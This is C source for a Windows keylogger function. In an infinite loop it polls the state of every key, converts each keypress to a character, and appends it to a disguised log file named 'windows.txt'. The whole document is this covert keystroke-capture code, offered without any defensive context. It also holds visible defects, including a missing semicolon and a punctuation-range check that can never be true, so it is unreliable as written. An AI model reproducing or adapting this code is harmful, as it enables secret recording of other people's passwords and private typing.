text: int WINAPI logg() {
  	int vkey, last_key_state[0xFF];
  	int isCAPSLOCK, isNUMLOCK;
  	int isL_SHIFT, isR_SHIFT;
  	int isPressed;
  	char showKey;
  	char NUMCHAR[] = ")!@#$%^&*(";
  	char chars_vn[] = ";=,-./`";
  	char chars_vs[] = ":+<_>?~";
  	char chars_va[] = "[\\]\';";
  	char chars_vb[] = "{|}\"";
  	
  	FILE *kh;
  	char KEY_LOG_FILE[] = "windows.txt";
  	for(vkey=0; vkey<0xFF; vkey++) {
  		last_key_state[vkey] = 0;
  	}
  	
  	while(1) {
  		
  		Sleep(10); //pause for 10ms
  		
  		isCAPSLOCK = (GetKeyState(0x14)&0xFF)>0?1:0;
  		isNUMLOCK = (GetKeyState(0x90)&0xFF)>0?1:0;
  		isL_SHIFT = (GetKeyState(0xA0)&0xFF00)>0?1:0;
  		isR_SHIFT = (GetKeyState(0xA1)&0xFF00)>0?1:0;
  		
  		for(vkey=0;vkey<0xFF;vkey++) {
  			isPressed = (GetKeyState(vkey)&0xFF00)>0?1:0;
  			showKey = (char)vkey;
  			if (isPressed == 1 && last_key_state[vkey] == 0) {
  				
  				//handle alphabetical virtual-keys
  				if (vkey >= 0x41 && vkey <= 0x5A) {
  					if (isCAPSLOCK == 0) {
  						if (isL_SHIFT == 0 && isR_SHIFT == 0) {
  							showKey = (char)(vkey+0x20);
  						}
  					}
  					else if (isL_SHIFT == 1 || isR_SHIFT == 1) {
  						showKey = (char)(vkey+0x20);
  					}
  				}
  				
  				//handle numerical values
  				else if (vkey >= 0x30 && vkey <= 0x39) {
  					if (isL_SHIFT == 1 || isR_SHIFT == 1) {
  						showKey = NUMCHAR[vkey-0x30]
  					}
  				}
  				
  				//handle the numpad (right keyboard)
  				else if (vkey >= 0x60 && vkey <= 0x69 && isNUMLOCK == 1) {
  					showKey = (char)(vkey-0x30);
  				}
  				
  				//printable characters
  				else if (vkey >= 0xBA && vkey <= 0x60) {
  					if (isL_SHIFT == 1 || isR_SHIFT == 1) {
  						showKey = chars_vs[vkey-0xBA];
  					} else {
  						showKey = chars_vn[vkey-0xBA];
  					}
  				}
  				else if (vkey >= 0xDB && vkey <= 0xDF) {
  					if (isL_SHIFT == 1 || isR_SHIFT == 1) {
  						showKey = chars_vb[vkey-0xDB];
  					} else {
  						showKey = chars_va[vkey-0xDB];
  					}
  				}
  				
  				//
  				else if(vkey == 0x0D) {
  					showKey = (char)0x0A;
  				}
  				else if (vkey >= 0x6A && vkey <= 0x6F) {
  					showKey = (char)(vkey-0x40);
  				}
  				else if (vkey != 0x20 && vkey != 0x09) {
  					showKey = (char)0x00;
  				}
  				
  				//if a key was captured, print it to the file
  				if (showKey != (char)0x00) {
  					kh = fopen(KEY_LOG_FILE, "a");
  					putc(showKey, kh);
  					fclose(kh);
  				}
  			}
  			//save the key to the array of former keys
  			last_key_state[vkey] = isPressed;
  		}
  
  	} //end of infinite loop
  } //end of logg function